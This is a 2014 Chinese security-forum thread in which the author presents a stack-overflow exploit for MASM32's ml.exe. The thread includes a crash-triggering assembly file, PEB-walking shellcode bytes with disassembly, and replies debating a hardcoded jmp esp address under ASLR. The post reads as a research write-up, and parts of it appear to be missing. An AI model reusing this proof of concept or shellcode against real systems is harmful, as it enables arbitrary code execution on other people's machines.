首页
社区
课程
招聘
[原创]masm32之ml.exe栈溢出漏洞利用
发表于: 2014-2-24 01:37 4769

[原创]masm32之ml.exe栈溢出漏洞利用

2014-2-24 01:37
4769

-----------------------
前置知识:栈溢出原理、PE格式、PEB结构、汇编语言。
使用工具:masm、od、winhex。
-----------------------

正题之前先扯两句废话,这是本人在看雪潜水多年来的第一贴,还请大家指教。这个漏洞是半年前无意中发现的,当时随便看了看就丢在一边了,昨个闲下来翻硬盘发现了这个文件,就拿出来写了个利用。虽然放了半年,但是网上还是找不到类似的漏洞,所以姑且还是个0day。而且这个漏洞所针对的ml.exe使用很广泛,包括看雪工具区的MASM32 v11和RadASM 2.2.1.2汉化,不过并不包含新版vs中的ml.exe,测试了vs11和12都没有效果。

废话扯完了,然后呢……继续废话。有一天,我照常的在用masm写代码,当我按了编译的时候,ml.exe报错了,错误地址看上去像是一个字符串的ascii码,这是溢出的典型现象。

测试代码

.686p
.mmx
.model flat
option casemap :none
includelib  1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111bgrd1a1111111111111111111111111111111111111111111
end
64 A1 30 00 00 00 8B 40 0C 8B 40 0C 8B 00 8B 00 8B 40 18
772404CB      64:A1 30000000         mov     eax, dword ptr fs:[30]
772404D1      8B40 0C                mov     eax, dword ptr [eax+C]
772404D4      8B40 0C                mov     eax, dword ptr [eax+C]
772404D7      8B00                   mov     eax, dword ptr [eax]
772404D9      8B00                   mov     eax, dword ptr [eax]
772404DB      8B40 18                mov     eax, dword ptr [eax+18]
6A 30 5B 64 8B 03 8B 40 0C 8B 40 0C 8B 18 8B 03 8B 70 18
772404E1     6A 30                    push    30
772404E3     5B                       pop     ebx
772404E4     64:8B03                  mov     eax, dword ptr fs:[ebx]
772404E7     8B40 0C                  mov     eax, dword ptr [eax+C]
772404EA     8B40 0C                  mov     eax, dword ptr [eax+C]
772404ED     8B18                     mov     ebx, dword ptr [eax]
772404EF     8B03                     mov     eax, dword ptr [ebx]
772404F1     8B70 18                  mov     esi, dword ptr [eax+18]
  assume  eax:ptr IMAGE_DOS_HEADER    ;eax为基址
  mov  eax,[eax].e_lfanew
  add  eax,krnlbz
  assume  eax:ptr  IMAGE_NT_HEADERS    ;pe头
  lea  eax,[eax].OptionalHeader
  assume  eax:ptr  IMAGE_OPTIONAL_HEADER32    ;可选pe头
  lea  eax,[eax].DataDirectory      
  assume  eax:ptr  IMAGE_DATA_DIRECTORY    ;导出表结构
  mov  eax,[eax].VirtualAddress    
  add  eax,krnlbz
  assume  eax:ptr  IMAGE_EXPORT_DIRECTORY
  push  [eax].NumberOfNames
  push  [eax].AddressOfNames
  push  [eax].AddressOfFunctions
8B 40 3C 03 45 FC 8D 40 18 8D 40 60 8B 00 03 45 FC FF 70 18 FF 70 20 FF 70 1C
772404F5     8B40 3C                  mov     eax, dword ptr [eax+3C]
772404F8     0345 FC                  add     eax, dword ptr [ebp-4]
772404FB     8D40 18                  lea     eax, dword ptr [eax+18]
772404FE     8D40 60                  lea     eax, dword ptr [eax+60]
77240501     8B00                     mov     eax, dword ptr [eax]
77240503     0345 FC                  add     eax, dword ptr [ebp-4]
77240506     FF70 18                  push    dword ptr [eax+18]
77240509     FF70 20                  push    dword ptr [eax+20]
7724050C     FF70 1C                  push    dword ptr [eax+1C]

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 5
支持
分享
最新回复 (10)
雪    币: 10
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
坐沙发...
2014-2-24 02:06
0
雪    币: 496
活跃值: (286)
能力值: ( LV13,RANK:400 )
在线值:
发帖
回帖
粉丝
3
很多人看到这里应该已经明白了,7ffa4512对吧,嗯就是这样。这个地址是一个通杀几乎所有win系统的地址,也就是所有系统的这个地址的代码都是jmp esp而且可执行。于是我们用winhex打开上面内容的asm,把bgrd的ascii码替换成7ffa4512


这个原理是谁发明的?

在ASLR开启的情况下,你可以实验一下是不是如这句话所说。

而且在VISTA和以上的系统系统模块都是默认开启了ASLR的。

把ML的版本发出来一下,在我的机器上验证了下,DDK 7600中的ml不存在这个问题。
2014-2-24 10:25
0
雪    币: 101
活跃值: (43)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
4
这个地址是抄来的 并且我测试了win8和xpsp3通过,详细的可以用上面的搜索论坛,在论坛里搜索这个地址,很多帖子都说这个地址有通用性,我没多加验证。

ml的话,在最新版的masm32的ml就有这个漏洞,文件没有版本号,这个程序已经是上古时代的了,看修改日期已经是15年前的了。
2014-2-24 10:43
0
雪    币: 13248
活跃值: (4301)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
第二发继续mark
2014-2-24 14:03
0
雪    币: 612
活跃值: (3804)
能力值: ( LV12,RANK:200 )
在线值:
发帖
回帖
粉丝
6
MASM32 v11等工具的漏洞有很多,比如我前些天发现的CVTRES.EXE。
http://www.wooyun.org/bugs/wooyun-2010-046939

楼主分析的很详细,加油!
2014-2-24 15:32
0
雪    币: 70
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
与其说地址,还不如说是机器码,这个机器码,如果你要用jmp esp来覆盖EIP的话,基本都不变的。其中的FFA4就是jmp esp的机器码。
2014-2-27 14:10
0
雪    币: 334
活跃值: (92)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
8
7ffa4512这个地址在aslr开启的情况下还有效吗?
2014-2-27 15:19
0
雪    币: 309
活跃值: (88)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
挺不错,受教了
2014-3-1 23:25
0
雪    币: 41
活跃值: (159)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
10
《Q版黑客 缓冲区溢出教程》第1.7.4节(第39页),上面只是说Windows 2000,Windows xp,Windows 2003能用这个地址(不过这本书比较早)

按理说Windows 7和Windows 8开启了ASLR用不了啊
2014-3-10 22:04
0
雪    币: 155
活跃值: (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
7ffa4512对于开启ASLR的系统是不行的,比如WIN7上:

0:000> U 7ffa4512
7ffa4512 ??              ???
                ^ Memory access error in 'U 7ffa4512'
2014-3-11 04:06
0
游客
登录 | 注册 方可回帖
返回
//